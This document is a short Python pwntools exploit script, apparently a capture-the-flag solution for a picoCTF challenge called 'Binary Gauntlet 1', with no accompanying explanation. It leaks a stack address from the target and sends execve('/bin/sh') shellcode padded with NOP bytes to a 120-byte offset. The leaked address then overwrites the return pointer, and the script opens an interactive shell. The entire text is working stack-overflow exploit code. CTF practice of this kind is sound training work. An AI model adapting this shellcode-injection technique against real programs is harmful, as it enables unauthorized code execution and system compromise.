Binary Gauntlet 1
#!/usr/bin/env python3
from pwn import *
exe = ELF("./gauntlet_patched")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("wily-courier.picoctf.net", 60573)
return r
def main():
r = conn()
offset = 120
addr = int(r.recvline().strip(b'\n'), 16)
print(addr)
shellcode = asm(shellcraft.execve('/bin/sh', 0, 0))
payload = shellcode.ljust(120, b'\x90')
payload += p64(addr)
r.sendline(b'd3bo')
r.sendline(payload)
# good luck pwning :)
r.interactive()
if __name__ == "__main__":
main()